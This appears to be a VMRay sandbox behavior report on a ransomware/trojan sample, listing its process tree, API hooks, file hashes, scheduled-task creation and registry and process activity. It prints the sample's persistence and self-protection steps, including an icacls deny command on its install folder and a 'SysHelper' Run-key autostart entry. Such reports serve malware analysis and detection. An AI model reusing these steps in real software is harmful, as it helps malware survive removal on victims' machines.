14df1270...c895 | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: Ransomware, Trojan

8FBB.tmp.exe

Windows Exe (x86-32)

Created at 2019-07-10T16:39:00

...

Remarks (2/2)

(0x2000004): The operating system was rebooted during the analysis because the sample installed a startup script, task or application for persistence.

(0x200003a): 2 tasks were rescheduled ahead of time to reveal dormant functionality.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0x9a8 Analysis Target High (Elevated) 8fbb.tmp.exe "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe" -
#3 0xa74 Child Process High (Elevated) icacls.exe icacls "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7" /deny *S-1-1-0:(OI)(CI)(DE,DC) #1
#4 0x50c Created Scheduled Job High (Elevated) taskeng.exe taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1] #1
#5 0xa84 Child Process High (Elevated) 8fbb.tmp.exe "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe" --Admin IsNotAutoStart IsNotTask #1
#6 0xb10 Created Scheduled Job Medium taskeng.exe taskeng.exe {1B1F5425-C2EB-423B-ADE6-D8808284FC3C} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1] #5
#7 0xb30 Child Process Medium 8fbb.tmp.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe" --Task #6
#11 0x544 Autostart Medium 8fbb.tmp.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe" --AutoStart -

Behavior Information - Grouped by Category

Process #1: 8fbb.tmp.exe
2880 2
»
Information Value
ID #1
File Name c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:28, Reason: Analysis Target
Unmonitor End Time: 00:00:43, Reason: Self Terminated
Monitor Duration 00:00:15
OS Process Information
»
Information Value
PID 0x9a8
Parent PID 0x45c (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9AC
0x 9B8
0x 9BC
0x 9C0
0x A54
0x A58
0x A5C
0x A60
0x A6C
0x A70
0x A80
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x0000000000d60000:+0x57241 1. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:GetFileSecurityW+0x0 now points to private_0x000000007fff0000:+0x4986ffff
...
IAT private_0x0000000000d60000:+0x57241 3. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:LockServiceDatabase+0x0 now points to private_0x000000007fff0000:+0x36100000
...
IAT private_0x0000000000d60000:+0x57241 4. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegDeleteKeyA+0x0 now points to private_0x000000007fff0000:+0x36101a7e
...
IAT private_0x0000000000d60000:+0x57241 5. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegOpenKeyW+0x0 now points to private_0x000000007fff0000:+0x782c1a42
...
IAT private_0x0000000000d60000:+0x57241 6. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegCreateKeyExW+0x0 now points to private_0x000000007fff0000:+0x49341674
...
IAT private_0x0000000000d60000:+0x57241 7. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:SetThreadToken+0x0 now points to private_0x000000007fff0000:+0x1f10ff85
...
IAT private_0x0000000000d60000:+0x57241 9. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:AreAnyAccessesGranted+0x0 now points to private_0x000000007fff0000:+0x8000ffff
...
IAT private_0x0000000000d60000:+0x57241 15. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:DnsHostnameToComputerNameA+0x0 now points to private_0x000000007fff0000:+0x4986c033
...
IAT private_0x0000000000d60000:+0x57241 16. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetHandleInformation+0x0 now points to private_0x000000007fff0000:+0xdc19f0f
...
IAT private_0x0000000000d60000:+0x57241 17. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetModuleHandleA+0x0 now points to private_0x000000007fff0000:+0x8000450c
...
IAT private_0x0000000000d60000:+0x57241 19. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetFileAttributesExW+0x0 now points to private_0x000000007fff0000:+0x4986c933
...
IAT private_0x0000000000d60000:+0x57241 23. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetNumberFormatA+0x0 now points to private_0x000000007fff0000:+0x36107f74
...
IAT private_0x0000000000d60000:+0x57241 28. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlTryEnterCriticalSection+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d60000:+0x57241 34. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:IsValidLocale+0x0 now points to private_0x000000007fff0000:+0x5ca3316
...
IAT private_0x0000000000d60000:+0x57241 35. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetLocaleInfoW+0x0 now points to private_0x000000007fff0000:+0x41a00fff
...
IAT private_0x0000000000d60000:+0x57241 36. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:LCMapStringW+0x0 now points to private_0x000000007fff0000:+0x7f4e0c8d
...
IAT private_0x0000000000d60000:+0x57241 37. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:IsProcessorFeaturePresent+0x0 now points to private_0x000000007fff0000:+0x600ffff
...
IAT private_0x0000000000d60000:+0x57241 45. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ExitProcess+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d60000:+0x57241 50. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetConsoleCtrlHandler+0x0 now points to cryptbase.dll:SystemFunction036+0x182f
...
IAT private_0x0000000000d60000:+0x57241 51. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlEnterCriticalSection+0x0 now points to private_0x000000007fff0000:+0x5c13312
...
IAT private_0x0000000000d60000:+0x57241 52. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlLeaveCriticalSection+0x0 now points to private_0x000000007fff0000:+0x40a00fc9
...
IAT private_0x0000000000d60000:+0x57241 53. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:FlushFileBuffers+0x0 now points to private_0x000000007fff0000:+0x7f460c8d
...
IAT private_0x0000000000d60000:+0x57241 54. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:WriteFile+0x0 now points to private_0x000000007fff0000:+0x6c00ffff
...
IAT private_0x0000000000d60000:+0x57241 55. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetConsoleCP+0x0 now points to private_0x000000007fff0000:+0x5ca3302
...
IAT private_0x0000000000d60000:+0x57241 58. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:FatalAppExitA+0x0 now points to private_0x000000007fff0000:+0x592c5920
...
IAT private_0x0000000000d60000:+0x57241 59. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlSizeHeap+0x0 now points to private_0x000000007fff0000:+0x5104f103
...
IAT private_0x0000000000d60000:+0x57241 60. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ReadFile+0x0 now points to private_0x000000007fff0000:+0x310d93b
...
IAT private_0x0000000000d60000:+0x57241 61. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ReadConsoleW+0x0 now points to private_0x000000007fff0000:+0x8000fb5f
...
IAT private_0x0000000000d60000:+0x57241 62. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:HeapFree+0x0 now points to private_0x000000007fff0000:+0x5304f303
...
IAT private_0x0000000000d60000:+0x57241 65. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentThread+0x0 now points to private_0x000000007fff0000:+0x1d25ff00
...
IAT private_0x0000000000d60000:+0x57241 66. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentThreadId+0x0 now points to 8fbb.tmp.exe:+0x2930c
...
IAT private_0x0000000000d60000:+0x57241 68. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetStdHandle+0x0 now points to private_0x000000007fff0000:+0x410e442
...
IAT private_0x0000000000d60000:+0x57241 75. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetEnvironmentStringsW+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d60000:+0x57241 81. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:Sleep+0x0 now points to private_0x000000007fff0000:+0x5ca3316
...
IAT private_0x0000000000d60000:+0x57241 82. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentProcess+0x0 now points to private_0x000000007fff0000:+0x41a00fff
...
IAT private_0x0000000000d60000:+0x57241 83. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TerminateProcess+0x0 now points to private_0x000000007fff0000:+0x7f4e0c8d
...
IAT private_0x0000000000d60000:+0x57241 84. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TlsAlloc+0x0 now points to private_0x000000007fff0000:+0x600ffff
...
IAT private_0x0000000000d60000:+0x57241 85. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TlsGetValue+0x0 now points to private_0x000000007fff0000:+0x41860fc9
...
IAT private_0x0000000000d60000:+0x57241 92. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:LoadLibraryExW+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d60000:+0x57241 97. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetStdHandle+0x0 now points to cryptbase.dll:SystemFunction036+0x18f7
...
IAT private_0x0000000000d60000:+0x57241 98. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetFilePointerEx+0x0 now points to private_0x000000007fff0000:+0x5c13312
...
IAT private_0x0000000000d60000:+0x57241 99. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:WriteConsoleW+0x0 now points to private_0x000000007fff0000:+0x40a00fc9
...
IAT private_0x0000000000d60000:+0x57241 100. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlReAllocateHeap+0x0 now points to private_0x000000007fff0000:+0x7f460c8d
...
IAT private_0x0000000000d60000:+0x57241 101. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetDateFormatW+0x0 now points to private_0x000000007fff0000:+0x6c00ffff
...
IAT private_0x0000000000d60000:+0x57241 102. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetTimeFormatW+0x0 now points to private_0x000000007fff0000:+0x5ca3302
...
IAT private_0x0000000000d60000:+0x57241 104. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:CreateFileW+0x0 now points to private_0x000000007fff0000:+0xb010003
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe 496.50 KB MD5: dd289d3f0a60a23541b80fe0d06711d7
SHA1: 79c11e700217f3faad3ab32f16d4bc4f2df38dec
SHA256: 14df1270da75454c4b10173cd6d201d7b278baaed38ea6159a18413735bbc895
SSDeep: 6144:RrUydQ/CtrSmvSVfM06oOCBi0zN1Vb3dRr2cGPPr0c2+9K:RIyug3K6HuiqN1Vb3dRrLy129 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\geo[1].json 465 bytes MD5: d6727470681ecc2ca56bbd0486b4fa97
SHA1: 693756ab251ef2d82a91d94a2e5b78a9604d8bac
SHA256: 8b37ae3083eb3bb497d0de9aa0f48e4fa2b893726e2a9787e6dad0ecd40d9613
SSDeep: 12:YCJcjmdVQVCRbwXhCdEVQVPB8yPt0fRbIRAJdxFQVyrhmXoB2SH4:YODQVCRbwxCCQVvV0fRbI2JdxFQVyNm5 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe 496.58 KB MD5: 1f6fd7e9a3f768055d645a835f887510
SHA1: d5ed5a0f544decc9597a81130f94cffb77a797f8
SHA256: 4f12931a816f4be64b7123734d067acef0fef26d61407f411c66e3aaa133c63b
SSDeep: 6144:3UF3gK3W5q4MaeNdDUMumvSVfM06oOCBi0zN1Vb3dRr2cGPPr0c2+9Kb:e3li5PefPK6HuiqN1Vb3dRrLy129b 		False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe 496.58 KB MD5: 1f6fd7e9a3f768055d645a835f887510
SHA1: d5ed5a0f544decc9597a81130f94cffb77a797f8
SHA256: 4f12931a816f4be64b7123734d067acef0fef26d61407f411c66e3aaa133c63b
SSDeep: 6144:3UF3gK3W5q4MaeNdDUMumvSVfM06oOCBi0zN1Vb3dRr2cGPPr0c2+9Kb:e3li5PefPK6HuiqN1Vb3dRrLy129b 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\microsoft\windows\temporary internet files\content.ie5\index.dat 64.00 KB MD5: 2db89fb48fd886b621627751f2ae15ed
SHA1: e2f78c6a535f4ba230a4470402b6f905f0b4c066
SHA256: dfc9aeb2ad6900a7b836db92a36a9d2162c84551134c0291757cc352206a3166
SSDeep: 384:gnjyLKYBfFVZJptKF2KTFZTCzXTtX+Yih9aX5Jqiq+AN:6OLKYBdVZJptKF2KTFZTCzp++8 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\microsoft\windows\history\history.ie5\index.dat 64.00 KB MD5: 6f2249ee3066298cd71ebfd851b1f1ef
SHA1: b24dac009fa254a950be793a7cd480e32ddc9b60
SHA256: 0483d954f4911e384f7354eaef680a16da66169091d97ac71c905b451a353194
SSDeep: 192:3YbjhkiSs7SySYSQS5IXSQUHSBSYnSIzS3gS2SDSlXSESRShSBSRSaSYSlSAJSSC:obj2YbN8O6qYd36mIoY 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\cookies\index.dat 32.00 KB MD5: 74d69403f4a938faa28298c110bc71c3
SHA1: c016f27979d48a90bb341ccf7ffef41a3955f4d5
SHA256: 8b9d3a6a22778e368c9e81397e2b1af64b9739f7ade535966708f34bcf6eada9
SSDeep: 48:qMhaLouhzppiksLSLWFM+AWi3QTGnbYbQWy58V4l9:qO7appiksLSLaH0QCnMbQ5ll9 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ietldcache\index.dat 256.00 KB MD5: 6852149628dae385c68c7a9db7028560
SHA1: c6e02c929ec99f984b04876816024c3a39b88ccb
SHA256: 53ae38a5bdbd72f76bf578f6c36e0b54a994003f535dbc1b469c12f3a169e3a4
SSDeep: 384:p8JEJH45Y0z6hKO59HqXRIhHPQ3NGjt3hAJnNH0kHf9QV9wRULzArvCCjgnF5TRy:pTHcEt8jdjFQg2cEbcaaoQARz40LG 		False
...
Host Behavior
COM (8)
»
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute TaskScheduler ITaskService method_name = Connect, server_name = 95, domain = 95, password = 4289035 True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, path = \, new_interface = ITaskFolder True 1
Fn
Execute TaskScheduler ITaskService method_name = NewTask, new_interface = ITaskDefinition True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Triggers, new_interface = ITriggerCollection True 1
Fn
Execute TaskScheduler ITriggerCollection method_name = Create, type = TASK_TRIGGER_TIME, new_interface = IDailyTrigger True 1
Fn
Execute TaskScheduler IDailyTrigger method_name = put_StartBoundary, start_boundary = 2019-07-11T02:39:56 True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Actions, new_interface = IActionCollection True 1
Fn
File (547)
»
Operation Filename Additional Information Success Count Logfile
Create Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7 - True 1
Fn
Get Info Fiwuluco ficuxuyolu rotebisikure type = file_attributes False 538
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Copy C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe True 1
Fn
Delete C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe - False 1
Fn
Registry (1617)
»
Operation Key Additional Information Success Count Logfile
Create Key Vazobigi kutiruye pacucujuyikana sipupepazudu tamosoza - False 538
Fn
Open Key Jorayipifa dedi sezifowijo jowizalova gesolo - False 537
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = 0, type = REG_NONE False 1
Fn
Write Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe" --AutoStart, size = 214, type = REG_EXPAND_SZ True 1
Fn
Delete Key Digiyeyo dogulawoxe hizo - False 538
Fn
Process (52)
»
Operation Process Additional Information Success Count Logfile
Create icacls os_pid = 0xa74, creation_flags = CREATE_DETACHED_PROCESS, CREATE_IDLE_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe show_window = SW_SHOW True 1
Fn
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\program files (x86)\google\performance.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sync framework\nuts.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\chapterpete.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\uninstall information\oliverbermudashipped.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\msbuild\sudan.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\reference assemblies\repair.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows nt\wired-brad-studying.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\reservations.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\rehab-probability-shelf.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\lid-contributions-rubber.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\internet explorer\lobby-dropped.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sql server compact edition\oriented-luck.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\earnedmating.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\orleans.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\adobe\reader 10.0\reader\reader_sl.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\conhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla maintenance service\annotation-atomic.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\sw typical avg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows photo viewer\failsrehabilitationscared.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\uninstall information\nights.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla firefox\dominican.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\winner.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\reference assemblies\philippines_champagne.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\mobsync.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (83)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 1
Fn
Load Psapi.dll base_address = 0x75140000 True 1
Fn
Load Shell32.dll base_address = 0x75fd0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 3
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x75141544 True 1
Fn
